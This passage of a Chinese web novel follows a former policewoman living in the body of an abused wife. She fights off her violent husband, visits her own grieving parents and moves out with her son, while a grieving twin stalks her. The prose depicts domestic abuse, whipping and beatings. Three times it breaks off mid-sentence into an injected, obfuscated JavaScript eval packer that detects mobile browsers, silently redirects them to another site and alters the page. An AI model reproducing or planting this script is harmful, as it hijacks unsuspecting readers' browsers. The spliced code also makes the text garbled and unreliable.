李闻雯把拖鞋给踢掉了,以防等下有意外情况影响发挥,她向着楼上偏了偏脑袋,示意邱迩上去。邱迩终于抬起脚步,慢吞吞往楼梯口走。然而行至半途又突然停下,转头露出担忧的目光。李闻雯立刻意识到邱迩跟她一样,也知道按照旧例接下来可能会发生什么。她定定瞧着这个又白又瘦的小男生,耳边似乎又听到叉子落在大理石地面上清脆的响声。 邱怀鸣冷眼瞧着李闻雯和邱迩,毫不留情奚落道:“有意思,一个多少补习老师都扶不起来的阿斗,和一个爱慕虚荣不长脑子的蠢货。” 邱迩显然并非第一次听这样的话,并没有露出多余的表情——也或许有,只是他眼角原本就是红的。 李闻雯收回目光转头直视邱怀鸣,冷冷唾道:“那你也总结总结自己是个什么东西,一个靠祖辈荫蔽有点事做的、靠侮辱妻儿有点存在感的败类?” ——邱怀鸣在邱家自己的企业“邱同”上班。“邱同”是邱家爷爷建立起来的,当前的主事者是邱怀鸣的大伯。 邱怀鸣面色一变向着李闻雯逼近一步,他紧盯着李闻雯,眼里尽是寒芒。李闻雯身体微微右侧,做好准备这一回要直接踢到他口鼻上去,争取踢掉他半颗牙。 弓弦即将崩断的前一刻,嗡——嗡——手机的震动声突兀地响起。 邱怀鸣一瞥,皱起眉头。是个久未联系过的人。 “不着急,我们明天再聊。” 邱怀鸣抓起嗡鸣不停的手机,又反手拎起沙发扶手上自己进门时扔下的大衣,错开李闻雯走向玄关,留下一句阴恻恻的预告。 直至邱怀鸣轿跑的轰鸣声远去,邱迩的身体才彻底放松下来。李闻雯密切观察着邱迩,徐徐开口,“邱迩,帖子上的事儿跟你说一声,那句话大概率确实是我说的——虽然我忘了。但我以后不会再说那样的话了。如果学校有人因为这件事找你麻烦,你告诉我。” 邱迩仍不愿意直视“程松悦”,但终于向她说了一句不那么硬的话了,“我知道了。” 李闻雯沉默片刻,叹道:“你上去吧。” 她原本想向邱迩承诺,如果他不愿意去德国就可以不去,但话到嘴边又悻悻咽下去了,因为说不定明天早上起床程松悦就回来了。她能保证做到的事儿,程松悦这个废物估计是不能,嗐,不止不能,也许都不愿意。 李闻雯慢吞吞洗完澡出来,已经是凌晨一点了,几声闷雷以后,风雨声又起来了。她裹着浴袍立在窗边瞧着外面的大雨,内心又酸涩、又彷徨、又有种隐秘的失而复得的庆幸。 2. 一夜风雨后,太阳难得在上午就出来了,几缕金黄从云罅间透出,穿过重重树影和落地窗玻璃,落在一个人的眼皮上,尾光又扫过另一个人微微支起的手腕。 “所以就说,做人哪,瞻前顾后最没出息。”李闻雯被阳光叫醒,盯着不知何时回来的邱怀鸣,默默感慨。 她不清楚程松悦不与邱怀鸣离婚的原因,因此不到万不得已不太愿意与邱怀鸣大动干戈,否则出院第一天她就把他打服了,何至于一直忍他阴阳怪气,更何至于现在被他用小皮鞭下流地指着。 “我今天不上班,有一整天的时间陪你玩儿。”邱怀鸣用鞭尾来回刷着李闻雯的脖子。 “我跟你说过,在我恢复记忆之前,你不能靠近我。”李闻雯一字一顿这么说着,作势要起身,却突然顿住,她惊诧地低头望去,瞧见自己的脚踝被一根拇指粗的链条锁在床尾,脸霎时就黑了。 李闻雯本人睡觉是很警醒的——警校和两年的民警工作锻练出来的——但是程松悦不警醒,而她此刻正借住在程松悦的壳子里,受程松悦的体质所管辖。 邱怀鸣瞧见她垂头不语,露出重新占上风的得意。他缓步上前,缓缓扯松衣领,露出类似猫逗耗子的好整以暇的神情。 “太久没有听到你的叫声了,老婆,两个月实在是太久了。” 李闻雯直视着他,遗憾道:“我以为只有小孩子才不长记性……老公。” 邱怀鸣眉尾的青筋微跳了跳,因为李闻雯嘴里慢悠悠的“老公”是如此不中听。 李闻雯盯着他,又谆谆提醒:“我要是你,就不会只锁一只脚踝。” 邱怀鸣再忍不了这种不显山不露水的奚落,面色一沉,抡起鞭子便是一记反抽。 李闻雯扬手抓住鞭子,反应极快地往身前一拽,趁着邱怀鸣踉跄,以诡异的角度,“嘭——”单膝将他压到床边。邱怀鸣被人不费吹灰之力捉住,不堪其辱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094381|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唾骂不止,但仅挣动几下便不敢再动了,因为他突然意识到李闻雯膝头压制的位置是他脆弱的胃。 李闻雯右手握拳照他头部面上砸了四五六七八下。现在她成了那只猫。 “你现在愿意听我的,在我恢复记忆之前,不要来打扰我吗?”李闻雯最后一拳落下,在他衣领上蹭了蹭掌根,蹭去从他牙龈里流出的血,问。 邱怀鸣用舌尖刷去齿间血,“你还手之前跟你爸商量了没,程松悦?你是不是忘了你主动把鞭子递到我手里的下贱样了?” 李闻雯一愣,立刻抓住了关键点。程祥知道程松悦过得是什么日子,且程祥最起码是程松悦愿意继续过这样日子的原因之一。 邱怀鸣作态皱眉,又作态恍然大悟,“啊,你真是忘了,你瞧我这记性。” 李闻雯松开了对邱怀鸣的钳制,顺手没收了他的皮鞭,她紧盯着邱怀鸣,从床头柜上摸来一根发卡,几下便把脚踝上的铁链给取下来了。 “如果再有一回,你一定会断一根骨头。” “你是得好好长长记性,我把你们都忘了,所以之前能威胁我的,现在威胁不到了。” 邱怀鸣却仿佛听了个笑话,他爬起来慢慢向后退,跟个神经病一样乐不可支,“你可赶紧停一停,千万别把自己想象成个忍辱负重的孝女,你留在我身边主要还是因为你虚荣。” 李闻雯恰到好处地露出不解的表情。 邱怀鸣上前抓起她的胳膊,扯着她走向衣帽间。他推开衣柜的推拉门,露出最上层二十来个包包,又拉出玻璃展台的抽屉,向她展示满抽屉的手表及首饰。 “这里面所有的东西都是你用一顿顿鞭子讨来填进去的,程松悦,是你自己愿意的。” 李闻雯心里惊涛骇浪,但面上平静无波,只两手插兜儿——睡衣的兜儿——默默瞧着程松悦的收藏品。 邱怀鸣留下一声嘲讽十足的脏话走了。李闻雯合上柜门,再锁上抽屉,退出了衣帽间。李闻雯每每感觉自己已经把程松悦其人扒得差不多了,程松悦总能在出其不意的地方嘲讽她,“不不不,你对我知之甚少。”李闻雯没办法理解程松悦,但两年的民警工作早就让她接纳了物种多样性的这个事实,因此她并没有纠结太久。 此时已经近十一月底了,几场秋雨以后平均气温骤降十度。李闻雯惦记着赵大良和李辉,担心他们会因为降温感冒——李辉心脏不太好最忌感冒,因此邱怀鸣骂骂咧咧离家以后,她便也出门了。因为需要采购,所以李闻雯按捺着心理不适开出了车库那台芭比粉甲壳虫。 “二七九九,麻烦查收一下。能不能请你们店员帮我把它拎到车里?我手里东西多,拿不下了。车就停在斜对面车位里,谢谢。” 李闻雯付款一台扫拖机器人,然后拎着满手的购物袋,领着店员向斜前方约百十来米处的停车位走去。 “姐,其实现在买不划算,再过一个月就要到新年节了,根据往年的惯例,到时候要么直接降价,要么有赠品,”敦厚老实的小店员把扫拖机器人放到甲壳虫的副驾驶位,临走悄声跟李闻雯说,“不过公司有四十五天的保价政策,你十二月底可以再来看看是否降价,如果降价,是可以退差价的,但是如果是赠品形式的,可能就不补了。” “我急用,没法等,但是谢谢你告诉我,我下个月月底会来看看的。”李闻雯领情道。 “不客气的,那您慢走。”小店员挥挥手,快速走回门店。 李闻雯把手里拎的其他东西也都分放到副驾驶位和后备箱里,然后坐回车里拧开保温杯小口小口喝着菊花茶发愣。与邱怀鸣的对话让她觉得自己像个入不了戏的滥竽充数的演员,但是与小店员的对话就充满了生活扑面而来的熟悉的踏实感,仿佛她仍是她。 7. 情况不会更糟了 1. 非节假日大都的交通状况还算可以,只除了国贸前面的高架桥附近略显拥堵,其它地段均畅通。李闻雯在临近午饭时间抵达家门口。熄火后,她在车里静坐了五分钟,然后一鼓作气拎着自己带来的礼物和一肚子谎话按响了街门上的门铃。 大约过了一分钟,一声低沉的“谁”从门里传来,是李辉的声音。 “叔,是我,程松悦。” “程松悦?” “雯雯的朋友,上回跟安姚一起来过的。” 又一分钟后,伴随着终于记起来的长长的一声“啊”,有脚步声徐徐靠进。片刻,“咔哒”一声响,是锁仁跳开的声音。 大门缓缓向内拉开,李辉满目疲惫站在门内。 李闻雯本来想叫声“叔”,但是当着这样的李辉的面,突然叫不出口了。 “……降温了,我来看看你们……我先把东西拎进去。” 李闻雯这样说着,低头避过李辉,走进小院。 赵大良显然刚刚正在厨房揉面,此刻也刮着掌心里的面痂出来了,她瞧见“程松悦”愣了一下,但立刻就想起来了她是谁。 “松悦,你……你怎么带这么多东西,这不行,太破费了。” “不破费,大部分都是别人送的,我家里用不上。” 赵大良不愿意无缘无故收人贵重东西,但也不好堵着门不给人进,李闻雯便趁她两相为难之际,把所有东西都拎进门里了。 “太贵重了,真没法收,你给其他亲戚朋友吧。”赵大良给李闻雯倒了杯水,坐下好言跟她商量,“新年临近了,你当个新年礼物给他们,我跟你叔叔真用不习惯。” 李闻雯捧着水杯简单直白两句话就把赵大良封杀了,“我没有什么亲戚朋友。我爸抛妻弃子,我妈受不了委屈走了绝路,我性格不好,从小就难相处,谁离得近了都烦我。” ——最后一句“自我评价”很显然是李闻雯的私人情绪。 李闻雯见赵大良呆愣当场不再推辞,开始一一给她介绍这些“用不上”的东西。 “……扫拖机器人,我家里有个比这还好的,而且也是刚买的,保修十年;智能泡脚桶,刚收到就扔去储藏室了,得扔在那儿有两个冬天了,再不用就该坏了……只有这两件薄羽绒服和两套德绒内衣是我买的,正适合这种天气穿,没花几个钱。雯雯对我不错,所以这些真的不算什么。” “你手怎么了?”赵大良留意到“程松悦”掌心有道很新鲜的血檩子。 李闻雯翻过掌心瞧了一眼,继续开着箱子,满不在乎道:“早上不小心被我儿子抽了一下。” …… 李闻雯教会两人用扫拖机器人和智能泡脚桶以后,就正正当当到了午饭时间。赵大良客气地留李闻雯在家吃饭 ,李闻雯假意推辞了一下就如愿留下了。她太怀念赵大良做的菜了。虽然眼下才一个多月没吃到,但她差点就永远也吃不到了。 “我能去雯雯房间瞧一眼吗?”赵大良择菜时,李闻雯在她背后突然问道。 赵大良犹豫了一下,点头,“去吧。” 李闻雯在自己的书桌前坐下,她单手支着下巴睫毛微垂听着风声。此时是风吹树枝的声音,而非她熟悉的风吹树叶,因为秋天过去了,冬天来了。 “你上回说雯雯在哪儿遇见的你?”李辉不知何时出现在门口,突然开口轻声问她。 李闻雯抬指不着痕迹地在眼尾一划,徐徐回头瞧着李辉,道:“在锦绣公园,叔,我那时日子过得不顺,就老去那里看夕阳。她那时还没毕业,经常去那里跑步。” “锦绣公园?是警校附近的公园 ?” “对,公园就在她们警校后墙外面,依着个不高的小山建的。” “我以前工作忙,只去过警校两次,没留意那里有个公园。” “不奇怪,因为公园面积不大,里面只有一些不稀奇的花花草草,其它什么也没有。当地的公众号都懒得推广它。” 李辉点点头,片刻,又问:“她经常去那里跑步?” 李闻雯道:“一周三回。” 两人一问一答正说着,赵大良解着围裙走过来了。 赵大良道:“最后一道汤,五分钟就能起锅了。你们聊什么呢?” 李闻雯闻声目光移至赵大良,“我们在聊锦绣公园呢,雯雯以前经常去那里跑步,”她顿了顿,重新瞧回李辉,“啊,公园里有两棵五角枫是她种的,要不然饭后我载你们去瞧瞧?” 赵大良也瞧向李辉,道:“她有回放假回家提过跟同学一起种树,那你刮刮白胡子收拾一下,我们去瞧瞧?” 李辉问:“你记得是哪两棵吗?” 李闻雯毫不犹豫道:“当然。” 李辉轻道:“那就麻烦你了。” 李闻雯回了句“不麻烦”,然后开始悄悄祈祷公园近三年没有伐树。要不是她随口编了个与“程松悦”初见的场景,她都忘了自己曾经种过两棵树。事实上,那两棵树是她在大二社会实践课上种的,她只负责种下得个学分,其它都是公园管理员的工作。 …… 因为甲壳虫太小且颜色太招摇,饭后李闻雯主动表示“不如开李叔的车”,赵大良和李辉都松了一口气。最后是赵大良开车,李闻雯顾及自己“程松悦”的身份,坐在了副驾驶位。李辉坐在后头一路不语,但行至警校附近,他突然咳嗽着溢出了一屡哽咽,李闻雯与赵大良恍若未闻,各自瞧着前方大道没有回头 。 一家三口在锦绣公园南门附近的八角亭后面找到了李闻雯曾经种下的两棵五角枫……也许是吧,李闻雯自己也拿不准,毕竟她种下的时候,它们还是树苗形态,如今已亭亭如盖,斑斓满目。 “我们来的可真巧,正好是赏枫的季节,再晚半个月或者再下几场雨估计就没这么好看了。”李闻雯故意用昂扬的语气道。 李辉和赵大良没有接话,各自仰头盯着那两颗树。 李闻雯站在后面瞧着两人的背影,片刻,假意咳嗽几声,转头走开。 “谢谢你陪我们来这里,占用了你这么长时间。” 赵大良在那两棵五角枫前与李辉说了半个小时的话,然后独留李辉在原地缅怀,转身走向一直默默等待的“程松悦”——李闻雯。 “我跟雯雯是朋友,您别客气。” 李闻雯面朝外坐在八角亭的石阶上,给赵大良挪出一片座位。 “你那里有没有雯雯的照片?我们想搜集一下她的照片。”赵大良问。 李闻雯绞尽脑汁回忆着,徐徐道:“……只给她拍了两张,没有合影,我不喜欢拍照。” 她面不改色给程松悦立着不喜欢拍照的人设,脑中却是程松悦相册里花样百出的自拍照和黏黏糊糊的“闺蜜”照。 ——“闺蜜”之所以加个双引号,是因为李闻雯本人对她们的友情存疑,因为程松悦的这些“闺蜜们”自她睁开眼睛起至今尚未上门探望过她。 赵大良道:“雯雯也不喜欢拍照,不过倒不是因为工作的原因,是从小就不爱。劳烦你把那两张照片发给我?” 李闻雯答“好”,悄悄避开赵大良的视线,登录自己大学时期的一个邮箱账号,从里面挖出两张单人照。那是她和一位陈姓同学从另一个同学家回来的路上拍的,用陈同学的手机拍的,陈同学退学后的某天突然通过邮箱把这天拍的照片传给她了。 ——陈同学受不了警校高强度的训练,大一没上完就退学了,说要重考,之后就很少联系了。 赵大良通过了“程松悦”的微信好友申请,得到了这两张照片。她细致地观察着这两张照片,不时地放大镜中人眉头、唇角、手指、站姿等各个细节,以揣摩李闻雯拍照当时细微的心理状态。其实哪里需要揣摩,照片里李闻雯的大眼睛几乎眯成一条线,嘴角几乎咧到耳根,就是浅显直白的高兴。片刻,赵大良不舍地将照片收藏到微信服务器里并存入本地相册,邀“程松悦”一起翻阅李闻雯以前的照片。 李闻雯探着脑袋瞧着赵大良的手机相册,面色渐次从微讶到震惊到不可思议。赵大良相册里竟然有她这么多照片。她怀疑赵大良联系了所有她认识的人,并从那些人那里拿到了所有她的照片……有些年代比较久远的照片她自己都不记得是在哪里和谁拍的了。 “以前拍照得去照相馆,她在照相馆的一堆毛绒玩具里一眼就瞧见了冲锋枪,结果小裙子穿上了不愿意脱,冲锋枪抓上了也不愿意离手,越哄越闹,最后只好就这么把八周岁照片给拍了。” “你瞧这张她笑得多敷衍,她奶奶答应给她二百块,她才愿意被拍的......她奶奶从小惯着她,有什么好的都给她留着。两人最后几乎是前后脚走的,她奶奶早三个多月。” “收到录取通知书那天傍晚,她跟她爸在前面走,我在后面拍的。那天我跟她爸下班都比较晚,做饭来不及了,而且傍晚挺凉快的,我们仨商量着不如出去开伙庆祝。” “这几张是她大学同学传来的照片,说是团建时拍的。你瞧瞧这身衣服埋汰的,跟在泥地里滚过似的,也不知道团建干啥去了……眼睛本来不小,一笑都快挤没了。” “这几张角度不太好,没照到正脸,唯一这张照到正脸的又虚焦了。是她同事前些日子传给我的,说是他们第一次出任务回来以后的照片。” …… 李闻雯瞧着赵大良相册里自己逐渐长大的身影,一道炸雷倏地劈到脑海里,她突然意识到程松悦是哪里有问题了。程松悦的手机相册里有她的旅行记录,有她的珠宝首饰包包,有她与“闺蜜们”姿态撩人的合影,但是没有邱迩,一张都没有。 这天傍晚独自开车回去的路上,李闻雯略加思索拨通了邱迩班主任的电话,这通电话从西区一直持续到东区,再加上中间上下高架桥的堵车时间,一共用时五十二分钟。感谢班主任的用心和耐心。 2. 叶进盯着电脑里叶赫最后一幕的照片,胸口刚有蛰伏之势的岩浆再度沸腾起来。他请以前的同学帮忙联系绿瓣处理掉这条帖子,然后忍着浑身的骨头酸痛有条不紊地戴上毛线帽戴上眼镜拎起车钥匙出门,计划把之前没有做完的事情做完。 “程松悦”并不难找,因为她那台芭比粉甲壳虫是如此醒目,叶进把车停在甲壳虫后面,透过车窗和奶茶店的橱窗冷静地打量着“程松悦”。此刻的“程松悦”全然不是帖子里妆容精致衣着光鲜的模样,纯素颜状态, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094382|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身着并不出挑甚至泯然众人的普鲁士蓝卫衣和铅灰调牛仔裤,正在跟她的儿子邱迩说话。 叶进推开车门步入奶茶店,点单以后绕过横贯中轴的隔断花架,在他们后面两排的位置坐下。 …… 李闻雯眼下正在向邱迩渗透与邱怀鸣离婚的计划。她当然没有奢望现在立刻就离婚,邱怀鸣不允许,离婚“冷静期”也不允许。她只是想先另择住所与邱怀鸣分居,而邱迩得跟着她。 李闻雯昨夜几乎一夜未睡,心头压着好几个画面,有程祥从她身上的家暴旧伤移开目光神情不自然地唾骂“这都是你自己作出来的”的画面,有邱迩弄掉餐具打断邱怀鸣注视的画面以及邱迩在偌大的客厅里孤军奋战不肯回头向她求援的画面,有她把邱怀鸣按在床上挥拳的画面以及邱怀鸣扯着她的胳膊肘轻蔑地向她展示奢侈品的画面……她感觉情况不会比这更糟了。模模糊糊要睡去时,她又想,这世界所有人的存在都是保不齐有今天没明天的,就为了个没有根据的可能性原地踏步虚度光阴有点可笑,她本应该比别人都更加珍惜光阴。 邱迩用很难名状地目光望着“程松悦”,感觉她的脑袋是真的撞坏了,居然来接他放学,又居然仿佛从未提起过似地再度向他提起要离婚——不过这回倒是肯要他了。 “你就跟我试试吧,不会比现在更差了。”李闻雯瞧着眼前细瘦的小学生。 虽然身高已经突破一米七,但邱迩确实仍旧是个小学生。 邱迩两只手揣在外套兜儿里,脑袋微微向前探,低头去咬桌上的奶茶吸管。 “你不说话我就当你同意了。”李闻雯一锤定音,又矮下肩膀勾着脑袋凑近邱迩,用诱拐的语气哄道,“我就租个你学校附近的房子,这样你就不用太早起来去上学,我下雨天还能去给你送雨伞,行吗?” 邱迩睫毛低垂把圆圆的吸管咬成了扁的。 李闻雯细细观察着邱迩的反应,并未感觉到明显的抵触,便见好就收不再多言。 “你好,芒果班戟再来一份。” 李闻雯眼见邱迩解决了芒果班戟以后有些意兴阑珊,便抬手又给他点了一份,与此同时将他的餐盘扯近些,低下头三两口吃光了被他捣成碎块却一口没动的小蛋糕。 邱迩目光微愣望着“程松悦”,突然问:“这回是真的?” 李闻雯悄然揣摩着“这回”两个字,从口袋里掏出手机,点进租房APP,给邱迩检阅自己的收藏列表,她缓声道:“是真的,我收藏了几个看起来不错的房子,计划把你这周末的补习课给停了,领着你一个个去看看。” 邱迩移开目光,又去啃奶茶吸管,他沉默片刻,说:“我不去,我又不懂。” 李闻雯把新上来的芒果班戟推到他面前,说:“你不用懂,瞧着哪个房子喜欢,趁中介不注意悄悄告诉我就行。” 邱迩忍了忍还是没忍住,问:“为什么要趁中介不注意?” 李闻雯煞有介事,“我怕中介借机拿捏我们”,显得思虑非常周全。 …… 叶进皱眉望着前面座位的女人,她此时此刻的言行与他之前了解到的截然不同,跟绿瓣帖子里后面出现的那些“同学”“街坊”的爆料更是南辕北辙,因此有种非常微妙的割裂感。 一阵麻痒突然袭向喉头,他转向落地窗连续咳嗽了几声,错过了“程松悦”离开前没忍住闻声回头的目光。 李闻雯早在叶进下车前就留意到他了——叶进在她眼里醒目得犹如千里荒原上的一颗参天大树——他戴着鸦黑的翻边毛线帽,衬得那张脸越发得瓷白,眼角一抹浅红,是尚未病愈的情态。但她没有声张,因为邱迩在侧。 他把车停在她的车后面,又在车里观察了半晌,显然是冲着她来的,大约是因为看到了那篇帖子里叶赫的照片。她想。 “……可不可以不参加?”邱迩别别扭扭问。 “啊?你说什么?”李闻雯恍然回神,跟在他后面推门出去,勉强回忆起刚才耳边话中的一个关键词“冬令营”,立刻道,“啊,可以参加,可以,没问题。” 耳边突然传来“嘟嘟”的敲窗声,叶进烦躁地回头,与满目震惊的许炼面面相觑。 许炼在叶进对面坐下,紧盯着叶进不放。就在昨日下午,叶进还回复了他的消息,说准备明日去看间歇泉。但居然就让他在街上碰到了。很显然之前叶进所有的回复都是骗他的,他根本没去冰岛,一直独居于鹿鸣公寓。而且!而且叶进在跟踪程松悦!他刚刚眼睁睁瞧着程松悦驾车离去,而叶进去年刚换的新车就停在程松悦的甲壳虫后面。 “你跟着她是要做什么?如果不是恰巧有她儿子在,你原本打算对她做什么?”许炼压着怒火质问叶进,“你是不是真的就那么讨厌你的父母,忍心让他们送走一个又一个?” 叶进听到他提“父母”,脑海里当先浮现出两张忍耐的脸,他不置一词,只唇角轻轻向上微提了提。 现代社会有个不成文的规定,即劝年轻人不要做傻事,可千万不要贸然说‘你怎么不为你家里的父母考虑’,不然年轻人本来还有可能犹豫,一考虑就连犹豫都不犹豫了。 许炼一路成长顺风顺水,不太清楚这个不成文的规定。 8. 别动手,你又打不赢 1. 因为程松悦的儿子在侧,叶进仍然未能成事,因此傍晚时分不得不继续过柴米油盐无色无味的日子。他用前天外卖剩下的米饭给自己做了个蛋炒饭——油大还齁咸,然后捧着碗坐在露台的长椅上静观夕阳西下。 在他身后,是满室的昏沉和电视节目的背景乐,他只要不回头,就可以当作叶赫正窝在沙发里看电视。以往这种场景是很稀松平常的。 “叮——”有新消息跳进来。叶进数着米粒细嚼慢咽,直至费劲地将那十几粒白米饭裹着鸡蛋碎屑咽下去才转头望向一直就搁在一旁的手机。 是许炼的消息。许炼说他会假装叶进仍在冰岛,所以叶进不用担心会有人上门。 叶进读完信息继续吃饭,没有任何触动,他根本不在乎会不会有人上门。 …… 许炼与叶进不欢而散,在傍晚的车流中烦躁地连捶方向盘,但捶方向盘无济于事,他已然故去的哥们儿生前有多宝贝这个弟弟他比谁都清楚。 前方路口绿灯转成红灯,许炼反应不及一脚踩下刹车,身子猛地向前倾,又被安全带给勒回来。他神色悻悻松了松安全带,给家里去了个电话,说不加班了,晚饭回去吃。 由于部分路段修路禁止通行,许炼开车绕道近乎半座城回到家时,饭菜已经有些偏凉了。 “两个都是他们的儿子,而且还是双胞胎,为什么区别对待?”许炼在饭桌前坐下就问。 许炼犹记得出事那天叶进被母亲扇了一个耳光,之后又被父亲拒之门外,他们说如果叶赫没有陪叶进搬出去住日日回家就不会出这样的事。 许炼的父亲与叶进的父母是大学同学,原本只是泛泛之交,许炼读小学时许家搬来叶家附近,两家的关系就渐渐近了。之后许炼与叶赫玩在一起,两家便更是常来常往——许炼比叶赫叶进大三岁,许家刚搬来时,叶进尚未被接回。 只不过叶进一直是个隐形的存在,接回前接回后都是。 叶父叶母的原话是,“不用管他,整天捣鼓那堆奇形怪状的零件,叫也不理,又闷又犟,他自己呆着舒服就让他自己呆着。” 但叶进的存在虽隐形却强势,最起码在许炼看来是这样,许炼时不时地就会被他捣鼓出来的那些“不务正业”、“无聊至极”的小东西惊艳到。 “一个从小养在身边,一个没有,还能是因为什么?”许炼的母亲汪润漫不经心道。 “也不止是这个原因,”许父接过话茬补充,“叶进刚被接回来时三不五时地离家出走,把老叶两口折腾得不行,而且他在爷爷奶奶跟前长大,独惯了,跟叶赫也相处不来……” 许炼不言声等着,但再没有其它补充了,他惊讶地抬眸:“就这些,没别的了?” 汪润道:“你以为在演电视剧呢,哪有那么多狗血剧情,就是这些,没别的了。” 叶进在爷爷奶奶跟前长到十岁才被接回父母身边,虽然是一胞所生,但毕竟中间隔着十年漫长岁月,叶进父母对两个儿子很难做到一碗水端平,再加上叶赫谦逊宽和,叶进又闷又犟,本来就有的偏颇就因为各种各样的琐事愈演愈烈。 所有这些叶进都看在眼里,只是不说。后来叶进的奶奶病故,他父母又做了件错事——他们认为高考在即这个事情不必告诉他。之后叶进直接从家里搬出去,再未回去过。 2. 恰逢邱怀鸣出差外地,李闻雯很顺利地就帮邱迩推掉了周末的补习课,她领着邱迩跟着中介转了几个小区,瞧了七八套房子,最终在鹿鸣公寓找到了两人都心仪的。 八十多平米的实用面积,分隔出不大的一个客厅、一个书房和两个卧室。最可喜的是客厅西侧的露台面积不小,能放得下一个小卧榻,夏天感受穿堂风,也能支起两个墙面晾衣杆,冬天晒被。而比较不方便的是,房子并非拎包入住的状态,只有空调和热水器,其余都需要自己购买。李闻雯粗略一计算,衣柜、床、沙发、餐桌、厨具等等,大约得再卖俩包。 邱迩瞧着李闻雯押一付三给房东转账,在楼上不知谁家“吱——”“嘎吱——”,也不知是新学不熟练,还是就是没什么天分的小提琴声里,故作镇定地问:“我们什么时候去买家具?明天?” 他不想表现出来期待,但他确实很期待离开那里。此外他希望“程松悦”的脑子最好一辈子也好不了了。 李闻雯藏起仅剩不到三千的余额,慢条斯理说:“不急,再过两天。” ——卖包需要时间。 李闻雯用一周的时间完成了新房的布置,然后在下个周末,邱怀鸣出差回来的前夕,领着邱迩住进了鹿鸣公寓。 于是事情就有些戏剧性了。邱怀鸣是带着签证下来的“好消息”志得意满地回来的——当然是好消息,这个家就没有人有在他面前说“不”的资格——结果应该要去留学的人不见了。 “你说什么?”邱怀鸣扯领带的动作顿住,转头瞧向李闻雯。 李闻雯很有耐心地重复道:“我说过不了了,要跟你离婚,邱迩说想要跟着我。当然,他也必须得跟着我。你如果不愿意好聚好散,可以去请律师,咱们打官司离婚。” “你知道你在说什么吗?”邱怀鸣比起愤怒,更觉得不可思议。 程松悦是个什么东西,他比谁都清楚,她毕业到现在总共就赚过不到两万块钱。她当初用这不到两万块钱给他买了个钻石袖扣,便把他哄得当即定下求婚戒指。 李闻雯并不跟着他的情绪走,她平静地再次道明自己的诉求,“离婚我需要跟你财产平分,但我的这部分财产可以全部放到信托基金里,等邱迩成年以后全部交给邱迩。” “睁着眼睛做梦呢你?”邱怀鸣冷冷奚落道,他压根不相信她的疯言疯语,烦躁地猛一挥手,“别废话了,去叫邱迩下来,明天周一,你跟我一起去趟学校签字。” 李闻雯平静道:“邱迩不会去德国,我也只会在离婚协议上签字。我有你多次出轨的证据,也有你家暴的证据,所以离婚应该不会很难。” 搜集这些证据对一个前警务工作者来说并不是难事。其实即便对于程松悦本人来说也不是难事,因为邱怀鸣瞧不起她,甚至懒得防备她。 李闻雯懒得继续纠缠,从沙发扶手后面拎出最后一个行李箱。行李箱里装的是程松悦用一顿顿打换来的首饰和包包,虽然都是奢侈品的基础款,但全部加一起也值不少钱。李闻雯觉得这些自己是可以随意支配的,就当程松悦本人的谢礼——她不谢也得谢。 邱怀鸣阴鸷的眼神如毒蛇吐信,牢牢粘黏在李闻雯脸上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094383|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但李闻雯不为所动,因为再阴鸷也阴鸷不过她遇到过的犯罪分子。 “你自己再想想吧,要是实在气不过就去请律师,”李闻雯从邱怀鸣身旁经过,瞧见他胳膊难耐地一动,好心提醒他,“别动手,你又打不赢。” 邱怀鸣这回没有被李闻雯轻飘飘的警告激怒,也没有阻止她离开,只是用瘆人目光盯着她的背影,直至她坐进车里一脚油门消失不见。 3. 邱迩瞧着乱糟糟的厨房有些慌张。 “程松悦”出门前问他会不会熬粥,他没说话,感到莫名其妙,心想,“你问我?” 然而“程松悦”并没有读懂他眼神里讥诮的反问,露出略带嫌弃的表情,似乎在说,“你怎么什么都不会”。 他面色一紧,立刻说:“多简单,谁不会。” 倒也确实简单,网上搜一搜,也就那么几个步骤,淘米,下锅,大火煮沸以后转为小火。只不过整个过程需要的时间有些长而已。 结果就是他玩游戏忘了锅里的粥了。 门外的指纹锁“滴”“滴”两声,跟着李闻雯戏谑的声音传来,“什么味儿?你把厨房点了?” 邱迩从厨房走出,瞧见李闻雯正往玄关衣帽架上搭外套。他的神情难免有些讪讪的,但她的神情却非常轻松,似乎就算他真的不慎把厨房点了,她也能情绪稳定地点评一句“闷声干大事”。 “……对不起。我玩游戏忘了时间。” “行,虽然出了点儿小事故,但勇于承认事故原因。我来看看能不能加水补救,不能的话这个点儿就不喝粥了,做个西红柿鸡蛋面吃,十几分钟的事儿。” 一锅粥几乎熬干巴了,实在没有补救的空间了,而且由于米下得太多又熬得太久,甚至洗锅都成了一件难事。李闻雯把粥锅注满水泡在洗碗池里,在原地插了会儿腰,然后蹲下从橱柜里抽出还没撕掉标签的炒菜锅来。 